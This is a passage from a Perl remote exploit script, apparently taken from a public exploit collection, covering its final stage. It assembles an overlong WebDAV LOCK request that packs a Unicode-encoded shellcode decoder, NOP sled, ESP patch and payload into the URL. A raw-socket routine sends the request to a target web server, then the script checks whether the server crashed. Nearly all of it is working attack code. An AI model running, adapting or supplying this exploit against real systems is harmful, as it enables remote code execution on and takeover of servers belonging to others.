  793.  print "len-> $url_len=$shellcode_len:$offset_len\n";
  794.  
  795.  
  796.  my $decoder_str="%uC931%u79B1%uc1fe%ucb01%uc38b%uc789%uc289%uc931%u9041%u9041%uc38b%uc801%u338b%uce8b%u308b%uc68b%uc801%u00b4%uc689%uc78b%u3089%uc931%u03b1%u9041%ucb01%u9047%uf989%ud129%uc031%ue0b0%u03b4%uc129%uc985%uca75%uc985";
  797.  my $decoder_str_len=length($decoder_str)/6;
  798.  my $patch_esp="\x44\x45\x76\x76";
  799.  my $nop="%u0048%u0048";
  800.  my $encoded_str="${nop}${patch_esp}${shellcode}";
  801.  my $unicoded_encoded_str_len=4*5;
  802.  
  803.  my $shellcode_part="";
  804.  $shellcode_part="";
  805.  $shellcode_part.=$decoder_str;
  806.  $shellcode_part.=$encoded_str;
  807.  $shellcode_part.="A"x($shellcode_len-($decoder_str_len+length($encoded_str)-$unicoded_encoded_str_len-1));
  808.  
  809.  my $url="/${offset_part}${return_address_part}${shellcode_part}";
  810.  for my $METHOD ("LOCK")
  811.  {
  812.   my $string_to_send="$METHOD $url HTTP/1.1\r\n${host_header}${destination}${lock_token}${translate_f}${depth}Content-Type: text/xml\r\nContent-Length: $length_of_body\r\n${connection_str}\r\n${body}";
  813.   my $results="";
  814.   $results="";
  815.   while($results eq "")
  816.   {
  817.    print STDERR "Retrying Connection...\n";
  818.    $results=sendraw2("GET / HTTP/1.0\r\n\r\n",$host,$port,15);
  819.    if($results eq "")
  820.    {
  821.     sleep(1);
  822.    }
  823.   }
  824.   print STDERR "Trying with [$return_address]\n";
  825.   $results=sendraw2($string_to_send,$host,$port,15);
  826.   if($results eq "")
  827.   {
  828.    print "Connection refused: Server crashed?\n";
  829.   }else{
  830.    print "Failed to exploit: Server not crashed\n";
  831.   }
  832.  }
  833. }
  834.  
  835. sub sendraw2
  836. {
  837.  my ($pstr,$realip,$realport,$timeout)=@_;
  838.  my $target2=inet_aton($realip);
  839.  
  840.  my $flagexit=0;
  841.  $SIG{ALRM}=\&ermm;
  842.  socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || return "0";
  843.  #die("Socket problems");
  844.  alarm($timeout);
  845.  if(connect(S,pack "SnA4x8",2,$realport,$target2))
  846.  {
  847.   alarm(0);
  848.   my @in;
  849.   select(S); $|=1;
  850.   print $pstr;
  851.   alarm($timeout);
  852.   while(<S>){
  853.    if($flagexit == 1)
  854.    {
  855.     close (S);
  856.     return "Timeout";
  857.    }
  858.    push @in, $_;
  859.   }
  860.   alarm(0);
  861.   select(STDOUT);
  862.   close(S);
  863.   return join '',@in;
  864.         }else{
  865.   close(S);
  866.   return "";
  867.  }
  868. }
  869.  
  870. sub ermm
  871. {
  872.  $flagexit=1;
  873.  close (S);
  874. }
  875.